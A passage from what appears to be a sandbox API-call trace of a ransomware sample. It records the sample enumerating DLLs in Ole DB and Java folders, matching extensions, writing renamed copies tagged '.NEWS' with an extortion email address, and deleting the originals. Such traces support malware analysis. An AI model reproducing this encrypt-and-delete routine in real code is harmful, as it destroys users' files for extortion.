Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString=".dbf") returned 4 [0089.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString=".1cd") returned 4 [0089.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString=".jpg") returned 4 [0089.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.191] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.192] lstrlenW (lpString="msdasql.dll") returned 11 [0089.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.193] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=698368) returned 1 [0089.193] CloseHandle (hObject=0x2f4) returned 1 [0089.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0089.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.193] lstrlenW (lpString=".doc") returned 4 [0089.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.193] lstrlenW (lpString=".docx") returned 5 [0089.193] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0089.193] lstrlenW (lpString=".pdf") returned 4 [0089.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.193] lstrlenW (lpString=".xls") returned 4 [0089.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.193] lstrlenW (lpString=".xlsx") returned 5 [0089.194] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0089.194] lstrlenW (lpString=".ppt") returned 4 [0089.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString=".zip") returned 4 [0089.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString=".rar") returned 4 [0089.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString=".bz2") returned 4 [0089.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.194] lstrlenW (lpString=".7z") returned 3 [0089.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString=".dbf") returned 4 [0089.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString=".1cd") returned 4 [0089.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString=".jpg") returned 4 [0089.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.194] lstrlenW (lpString=".doc") returned 4 [0089.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString=".docx") returned 5 [0089.194] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0089.194] lstrlenW (lpString=".pdf") returned 4 [0089.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString=".xls") returned 4 [0089.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString=".xlsx") returned 5 [0089.194] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0089.194] lstrlenW (lpString=".ppt") returned 4 [0089.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.195] lstrlenW (lpString=".zip") returned 4 [0089.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.195] lstrlenW (lpString=".rar") returned 4 [0089.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.195] lstrlenW (lpString=".bz2") returned 4 [0089.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.195] lstrlenW (lpString=".7z") returned 3 [0089.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.195] lstrlenW (lpString=".dbf") returned 4 [0089.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.195] lstrlenW (lpString=".1cd") returned 4 [0089.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned 55 [0089.195] lstrlenW (lpString=".jpg") returned 4 [0089.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.195] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.195] lstrlenW (lpString="msdatl3.dll") returned 11 [0089.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.195] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=117248) returned 1 [0089.195] CloseHandle (hObject=0x2f4) returned 1 [0089.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0089.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0089.200] lstrlenW (lpString=".doc") returned 4 [0089.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString=".docx") returned 5 [0089.200] lstrcmpiW (lpString1=".docx", lpString2="3.dll") returned -1 [0089.200] lstrlenW (lpString=".pdf") returned 4 [0089.200] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString=".xls") returned 4 [0089.200] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString=".xlsx") returned 5 [0089.200] lstrcmpiW (lpString1=".xlsx", lpString2="3.dll") returned -1 [0089.200] lstrlenW (lpString=".ppt") returned 4 [0089.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0089.200] lstrlenW (lpString=".zip") returned 4 [0089.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString=".rar") returned 4 [0089.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.200] lstrlenW (lpString=".bz2") returned 4 [0089.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.200] lstrlenW (lpString=".7z") returned 3 [0089.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned 55 [0089.200] lstrlenW (lpString=".dbf") returned 4 [0089.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.229] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.229] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.229] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0089.230] GetLastError () returned 0x0 [0089.230] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0089.256] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0089.681] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x72450, lpOverlapped=0x0) returned 1 [0089.696] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x72460, lpOverlapped=0x0) returned 1 [0089.706] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.706] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe2, lpOverlapped=0x0) returned 1 [0089.707] SetEndOfFile (hFile=0x36c) returned 1 [0089.707] CloseHandle (hObject=0x36c) returned 1 [0089.707] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.707] SetEndOfFile (hFile=0x2f4) returned 1 [0090.108] CloseHandle (hObject=0x2f4) returned 1 [0090.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.108] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".doc") returned 4 [0090.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString=".docx") returned 5 [0090.109] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.109] lstrlenW (lpString=".pdf") returned 4 [0090.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString=".xls") returned 4 [0090.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString=".xlsx") returned 5 [0090.109] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.109] lstrlenW (lpString=".ppt") returned 4 [0090.109] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".zip") returned 4 [0090.109] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString=".rar") returned 4 [0090.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString=".bz2") returned 4 [0090.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.109] lstrlenW (lpString=".7z") returned 3 [0090.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".dbf") returned 4 [0090.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".1cd") returned 4 [0090.109] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".jpg") returned 4 [0090.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.109] lstrlenW (lpString=".doc") returned 4 [0090.110] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString=".docx") returned 5 [0090.110] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0090.110] lstrlenW (lpString=".pdf") returned 4 [0090.110] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString=".xls") returned 4 [0090.110] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString=".xlsx") returned 5 [0090.110] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0090.110] lstrlenW (lpString=".ppt") returned 4 [0090.110] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.110] lstrlenW (lpString=".zip") returned 4 [0090.110] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString=".rar") returned 4 [0090.110] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.110] lstrlenW (lpString=".bz2") returned 4 [0090.110] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.110] lstrlenW (lpString=".7z") returned 3 [0090.110] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.110] lstrlenW (lpString=".dbf") returned 4 [0090.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.110] lstrlenW (lpString=".1cd") returned 4 [0090.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0090.110] lstrlenW (lpString=".jpg") returned 4 [0090.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.110] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.110] lstrlenW (lpString="glib-lite.dll") returned 13 [0090.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0090.111] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=455744) returned 1 [0090.111] CloseHandle (hObject=0x2f4) returned 1 [0090.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0090.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0090.111] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.111] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.118] GetLastError () returned 0x0 [0090.118] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x6f440, lpOverlapped=0x0) returned 1 [0090.128] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x6f450, lpOverlapped=0x0) returned 1 [0090.162] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.162] WriteFile (in: hFile=0x338, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1 [0090.162] SetEndOfFile (hFile=0x338) returned 1 [0090.163] CloseHandle (hObject=0x338) returned 1 [0090.163] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.163] SetEndOfFile (hFile=0x2f4) returned 1 [0090.167] CloseHandle (hObject=0x2f4) returned 1 [0090.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.167] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0090.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.167] lstrlenW (lpString=".doc") returned 4 [0090.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.167] lstrlenW (lpString=".docx") returned 5 [0090.168] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0090.168] lstrlenW (lpString=".pdf") returned 4 [0090.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString=".xls") returned 4 [0090.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString=".xlsx") returned 5 [0090.168] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0090.168] lstrlenW (lpString=".ppt") returned 4 [0090.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString=".zip") returned 4 [0090.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString=".rar") returned 4 [0090.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString=".bz2") returned 4 [0090.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.168] lstrlenW (lpString=".7z") returned 3 [0090.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString=".dbf") returned 4 [0090.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString=".1cd") returned 4 [0090.168] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString=".jpg") returned 4 [0090.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.168] lstrlenW (lpString=".doc") returned 4 [0090.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.168] lstrlenW (lpString=".docx") returned 5 [0090.168] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0090.168] lstrlenW (lpString=".pdf") returned 4 [0090.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.169] lstrlenW (lpString=".xls") returned 4 [0090.169] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.169] lstrlenW (lpString=".xlsx") returned 5 [0090.169] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0090.169] lstrlenW (lpString=".ppt") returned 4 [0090.169] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.169] lstrlenW (lpString=".zip") returned 4 [0090.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.169] lstrlenW (lpString=".rar") returned 4 [0090.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.169] lstrlenW (lpString=".bz2") returned 4 [0090.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.169] lstrlenW (lpString=".7z") returned 3 [0090.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.169] lstrlenW (lpString=".dbf") returned 4 [0090.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.169] lstrlenW (lpString=".1cd") returned 4 [0090.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0090.169] lstrlenW (lpString=".jpg") returned 4 [0090.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.169] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.169] lstrlenW (lpString="hprof.dll") returned 9 [0090.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0090.170] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=158272) returned 1 [0090.170] CloseHandle (hObject=0x2f4) returned 1 [0090.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0090.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0090.170] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 